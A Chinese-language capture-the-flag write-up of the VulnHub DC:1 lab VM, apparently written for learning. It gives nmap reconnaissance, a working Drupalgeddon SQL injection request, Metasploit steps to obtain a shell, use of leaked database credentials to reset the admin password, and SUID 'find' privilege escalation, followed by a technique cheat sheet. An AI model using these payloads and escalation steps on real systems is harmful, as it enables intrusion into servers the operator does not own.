《VulnHub》DC:1

@TOC


VulnHub 打靶记录。
VulnHub 官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.3-vmware-amd64。
Kali NAT IP:192.168.8.15。

1:靶场信息

靶场网址:
https://www.vulnhub.com/entry/dc-1,292/

2:打靶

2.1:情报收集 & 威胁建模

主机发现
nmap -sn 192.168.8.0/24

在这里插入图片描述

确定目标 IP 为 192.168.8.132。

进行端口扫描、服务探测、操作系统探测
nmap -p- -sV -sC -O 192.168.8.132

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
Nmap scan report for 192.168.8.132
Host is up (0.00068s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0)
| ssh-hostkey:
| 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA)
| 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA)
|_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Debian))
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-title: Welcome to Drupal Site | Drupal Site
|_http-server-header: Apache/2.2.22 (Debian)
|_http-generator: Drupal 7 (http://drupal.org)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 35249/tcp status
| 100024 1 42703/udp6 status
| 100024 1 43760/udp status
|_ 100024 1 45642/tcp6 status
35249/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:58:12:58 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.16
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.38 seconds

用 nmap 的漏洞库对端口进行扫描
nmap --script=vuln -p 22,80,111,35249 192.168.8.132

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
Nmap scan report for 192.168.8.132
Host is up (0.00029s latency).

PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.8.132
| Found the following possible CSRF vulnerabilities:
|
| Path: http://192.168.8.132:80/
| Form id: user-login-form
| Form action: /node?destination=node
|
| Path: http://192.168.8.132:80/user/password
| Form id: user-pass
| Form action: /user/password
|
| Path: http://192.168.8.132:80/node?destination=node
| Form id: user-login-form
| Form action: /node?destination=node
|
| Path: http://192.168.8.132:80/user/register
| Form id: user-register-form
| Form action: /user/register
|
| Path: http://192.168.8.132:80/user/
| Form id: user-login
| Form action: /user/
|
| Path: http://192.168.8.132:80/user
| Form id: user-login
|_ Form action: /user
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-vuln-cve2014-3704:
| VULNERABLE:
| Drupal - pre Auth SQL Injection Vulnerability
| State: VULNERABLE (Exploitable)
| IDs: CVE:CVE-2014-3704
| The expandArguments function in the database abstraction API in
| Drupal core 7.x before 7.32 does not properly construct prepared
| statements, which allows remote attackers to conduct SQL injection
| attacks via an array containing crafted keys.
|
| Disclosure date: 2014-10-15
| References:
| http://www.securityfocus.com/bid/70595
| https://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3704
|_ https://www.drupal.org/SA-CORE-2014-005
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /rss.xml: RSS or Atom feed
| /robots.txt: Robots file
| /UPGRADE.txt: Drupal file
| /INSTALL.txt: Drupal file
| /INSTALL.mysql.txt: Drupal file
| /INSTALL.pgsql.txt: Drupal file
| /: Drupal version 7
| /README: Interesting, a readme.
| /README.txt: Interesting, a readme.
| /0/: Potentially interesting folder
|_ /user/: Potentially interesting folder
111/tcp open rpcbind
35249/tcp open unknown
MAC Address: 00:0C:29:58:12:58 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 148.71 seconds

可以发现 80 端口的 HTTP 服务漏洞有:CSRF、CVE 2014-3704。

web 页面如下:

在这里插入图片描述

该网站能注册新用户但密码未知。

既然有 HTTP 服务,那就扫描一下网站。

扫描网站根目录指纹信息
whatweb http://192.168.8.132/

在这里插入图片描述

扫描网站目录
dirsearch -u http://192.168.8.132/

在这里插入图片描述

没有发现比较有趣的目录。

那就尝试使用 CVE 2014-3704 漏洞作为切入点吧。

2.2:漏洞分析 & 渗透攻击

通过搜索引擎寻找 CVE 2014-3704 漏洞利用方法。

《Vulhub之“Drupalgeddon” SQL注入漏洞(CVE-2014-3704)》:
https://blog.csdn.net/angry_program/article/details/104620273

登录点抓包,添加 payload

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?q=node&destination=node HTTP/1.1
Host: 192.168.8.132
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 178
Origin: http://192.168.8.132
Connection: close
Referer: http://192.168.8.132/
Cookie: has_js=1
Upgrade-Insecure-Requests: 1

name[0 or updatexml(0,concat(0x7e,database(),0x7e),0)%23]=bob&name[0]=a&pass=bug&form_build_id=form-hUM-lGJvIc5NEmlo46nu_0Z7cOfyfmk6BQjvIRD4goA&form_id=user_login_block&op=Log in

爆出数据库。

在这里插入图片描述

将刚才的数据包保存,丢给 SQLmap。

sqlmap 探测
sqlmap -r /root/Desktop/sql.txt --batch

不过 sqlmap 并没有跑出结果。

那就使用 metasploit 查找相关利用方法。

启动 msf
msfdb init && msfconsole

查找 CVE 2014-3704 漏洞相关利用模块
search 2014-3704

在这里插入图片描述

只有一个,那就尝试使用一下。

使用模块
use 0

在这里插入图片描述

查看参数

show options

在这里插入图片描述

配置参数
set rhosts 192.168.8.132

在这里插入图片描述

利用,获取会话
run

获取目标 shell
shell

在这里插入图片描述

查看当前目录,可以看到一个 flag 文件。

在这里插入图片描述

在这里插入图片描述

提示查看 CMS 的配置文件。drupal CMS 的配置文件在 ./sites/default/ 目录下。

在这里插入图片描述

settings.php 文件中找到以下关键信息(flag2 与 mysql 数据库认证信息):

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php

/**
*
* flag2
* Brute force and dictionary attacks aren't the
* only ways to gain access (and you WILL need access).
* What can you do with these credentials?
*
*/

$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);

当前 msf 提供的 shell 并不支持交互操作,可以使用 python 获取可交互式 shell。

获取可交互式 shell
python -c "import pty;pty.spawn('/bin/sh')"

然后登录数据库看看。

mysql -udbuser -pR0ck3t

在这里插入图片描述

之后就是一通信息搜集。

在 drupaldb.users 表中可以发现以下信息。可惜密码是加了密的。

1
2
3
4
5
6
7
8
9
10
mysql> select * from users;
select * from users;
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| uid | name | pass | mail | theme | signature | signature_format | created | access | login | status | timezone | language | picture | init | data |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
| 0 | | | | | | NULL | 0 | 0 | 0 | 0 | NULL | | 0 | | NULL |
| 1 | admin | $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR | admin@example.com | | | NULL | 1550581826 | 1550583852 | 1550582362 | 1 | Australia/Melbourne | | 0 | admin@example.com | b:0; |
| 2 | Fred | $S$DWGrxef6.D0cwB5Ts.GlnLw15chRRWH2s1R3QBwC0EkvBQ/9TCGg | fred@example.org | | | filtered_html | 1550581952 | 1550582225 | 1550582225 | 1 | Australia/Melbourne | | 0 | fred@example.org | b:0; |
+-----+-------+---------------------------------------------------------+-------------------+-------+-----------+------------------+------------+------------+------------+--------+---------------------+----------+---------+-------------------+------+
3 rows in set (0.00 sec)

不过 /var/www/scripts/ 目录下可以获取密码加密脚本 password-hash.sh,也就是说可以通过该脚本加密用户密码,然后将一个用户手动添加到数据库中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/php
<?php

/**
* Drupal hash script - to generate a hash from a plaintext password
*
* Check for your PHP interpreter - on Windows you'll probably have to
* replace line 1 with
* #!c:/program files/php/php.exe
*
* @param password1 [password2 [password3 ...]]
* Plain-text passwords in quotes (or with spaces backslash escaped).
*/

if (version_compare(PHP_VERSION, "5.2.0", "<")) {
$version = PHP_VERSION;
echo <<<EOF

ERROR: This script requires at least PHP version 5.2.0. You invoked it with
PHP version {$version}.
\n
EOF;
exit;
}

$script = basename(array_shift($_SERVER['argv']));

if (in_array('--help', $_SERVER['argv']) || empty($_SERVER['argv'])) {
echo <<<EOF

Generate Drupal password hashes from the shell.

Usage: {$script} [OPTIONS] "<plan-text password>"
Example: {$script} "mynewpassword"

All arguments are long options.

--help Print this page.

--root <path>

Set the working directory for the script to the specified path.
To execute this script this has to be the root directory of your
Drupal installation, e.g. /home/www/foo/drupal (assuming Drupal
running on Unix). Use surrounding quotation marks on Windows.

"<password1>" ["<password2>" ["<password3>" ...]]

One or more plan-text passwords enclosed by double quotes. The
output hash may be manually entered into the {users}.pass field to
change a password via SQL to a known value.

To run this script without the --root argument invoke it from the root directory
of your Drupal installation as

./scripts/{$script}
\n
EOF;
exit;
}

$passwords = array();

// Parse invocation arguments.
while ($param = array_shift($_SERVER['argv'])) {
switch ($param) {
case '--root':
// Change the working directory.
$path = array_shift($_SERVER['argv']);
if (is_dir($path)) {
chdir($path);
}
break;
default:
// Add a password to the list to be processed.
$passwords[] = $param;
break;
}
}

define('DRUPAL_ROOT', getcwd());

include_once DRUPAL_ROOT . '/includes/password.inc';
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';

foreach ($passwords as $password) {
print("\npassword: $password \t\thash: ". user_hash_password($password) ."\n");
}
print("\n");

也可以不用这么麻烦,在 msf exploitdb 中有一个针对 Drupal 7 版本的攻击脚本,可以增加一个 admin 权限的用户账号。具体参考:https://blog.csdn.net/weixin_45864963/article/details/126696563

这里先放一放,继续搜集一下信息。在 /etc/passwd 文件中可以发现一个 flag4 用户。

cat -n /etc/passwd

在这里插入图片描述

可以直接进入其 home 目录获取 flag4。

在这里插入图片描述

这里也可以使用 hydra + john 破解 flag4 用户的 ssh 连接密码,从而登录到 flag4 用户的账户,直接查看 flag4。具体参考:https://blog.csdn.net/weixin_48991458/article/details/121362982

至此,已经拿到了 flag1、flag2、flag4。

现在再回头利用刚才的数据库。

直接利用加密脚本 /var/www/scripts/password-hash.sh 获取密码密文。

php /var/www/scripts/password-hash.sh adminpass

在这里插入图片描述

1
2
password: adminpass
hash: $S$DUKfIRZztxmhlJ9B3U8br8nSw3XMp0ZCJw2j.b5AUpjbUfLvupWN

登录到 mysql,直接更改 drupaldb.users 表中 admin 用户的密码:

mysql -udbuser -pR0ck3t

1
2
3
use drupaldb;

update users set pass="$S$DUKfIRZztxmhlJ9B3U8br8nSw3XMp0ZCJw2j.b5AUpjbUfLvupWN" where name="admin";

在这里插入图片描述

然后回到网页登录。

1
2
username: admin
password: adminpass

火狐浏览器不知道怎么回事登不上,换了谷歌浏览器成功登入。搞得我以为攻击失败了,排查了半天……

在这里插入图片描述

找到 flag3。

在这里插入图片描述

得到提示。

在这里插入图片描述

最后一个 flag 是在 /root/home/ 目录中。

2.3:后渗透

尝试提权。

可以使用 sudo -l 查看用户可在系统上具有的 sudo 权限,以及可以运行的特权命令与文件。不过当前用户无法使用 sudo 命令。

使用 find 命令查找有 SUID 权限的文件。

查找 SUID 权限文件
find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

发现 find 命令被赋予了 SUID 权限,且文件所有者为 root。因此可尝试借助 find 命令进行 SUID 提权。

提权
find /usr/bin/passwd -exec '/bin/sh' \;

在这里插入图片描述

可以看到提权成功。

这里不考虑痕迹隐藏,拿到 root 权限就已经结束咯。

在这里插入图片描述

3:总结

3.1:命令 & 工具

  • nmap
  • whatweb
  • dirsearch
  • BurpSuite
  • metasploit
  • python
  • mysql
  • find

3.1.1:Nmap

部分选项

参数 介绍
-sn Ping Scan - disable port scan
-sV Probe open ports to determine service/version info
-sC equivalent to --script=default
-O Enable OS detection
--script=<Lua scripts> <Lua scripts> is a comma separated list of directories, script-files or script-categories

nmap 脚本

  • --script=default:默认的脚本,提供一些基本的漏洞探测和信息收集。
  • --script=vuln:用于检测目标系统上的漏洞。

3.1.2:Metasploit

基本使用

  • 启动 Metasploit:msfdb init && msfconsole
  • 查找相关利用模块:search <key>
  • 使用模块:use <module>
    • 查看该模块参数:show options
    • 设置参数:set <name> <value>
    • 执行:run
  • 攻击成功后将显示 meterpreter 提示符。

后渗透模块 meterpreter 使用

  • 打印当前工作目录:pwd
  • 获取目标主机 shell:shell

3.1.3:python

获取可交互式 shell
python -c "import pty;pty.spawn('/bin/sh')"

  • python:启动 Python 解释器。
  • -c:表示提供 Python 代码,而不是执行从文件加载的脚本。
  • import pty:导入 pty 模块,该模块提供伪终端(pseudo-terminal)支持。
  • pty.spawn('/bin/sh'):使用 pty.spawn 函数,执行 /bin/sh,生成一个交互式 Shell。

通常用于绕过受限制的 Shell 环境,获取更高级别的 Shell 访问权限。

补充

Windows 下获取可交互式 shell
python -c "import os;os.system('cmd.exe')"

3.1.4:find

查找具有 SUID 权限的可执行文件
find / -perm -u=s -type f 2>/dev/null

  • find:查找。
  • /:指定查找的起始目录为根目录。
  • -perm -u=s:用于匹配具有 SUID 权限的文件。
  • -type f:限制查找结果只包括普通文件,而不包括目录或其他类型的文件。
  • 2>/dev/null:将错误输出重定向到 /dev/null。可以使输出更加清晰。

SUID(Set UID)是Linux中的一种特殊权限。允许一个程序在执行时暂时具有文件所有者的权限。

提权
find /usr/bin/passwd -exec '/bin/sh' \;

3.2:关键技术

  • 主机发现,ip、icmp 三层发现:
    nmap -sn <target>

  • 目标信息扫描,进行端口扫描、服务探测、操作系统探测:
    nmap -p- -sV -sC -O <target>

  • 漏洞扫描,用 nmap 的漏洞库对端口进行扫描:
    nmap --script=vuln -p <port> <target>

  • 网站指纹信息识别
    whatweb <url>

  • 网站目录扫描
    dirsearch -u <url>

  • drupal CMS 漏洞利用(CVE 2014-3704)

  • sqlmap 探测,使用指定数据包,自动默认操作:
    sqlmap -r <file> --batch

  • Metasploit 渗透,CVE 2014-3704 漏洞相关模块使用

  • 获取可交互式 shell,使用 python 获取可交互式 shell:
    python -c "import pty;pty.spawn('/bin/sh')"

  • 进一步搜集信息,利用泄露的密码加密脚本生成密文,登录 MySQL 更改网站管理员密码。

  • 查看用户 sudo 权限,以及可以运行的特权命令与文件:
    sudo -l

  • 查找具有 Setuid 权限位的可执行文件
    find / -perm -u=s -type f 2>/dev/null

  • 提权
    find <file> -exec '/bin/sh' \;

4:其他

4.1:参考资料

《2022蓝帽杯遇见的 SUID 提权 总结篇》:
https://tttang.com/archive/1793/

《find 命令提权》:
https://www.cnblogs.com/aaak/p/15718561.html


人生到处知何似,应似飞鸿踏雪泥。

——《和子由渑池怀旧》(宋)苏轼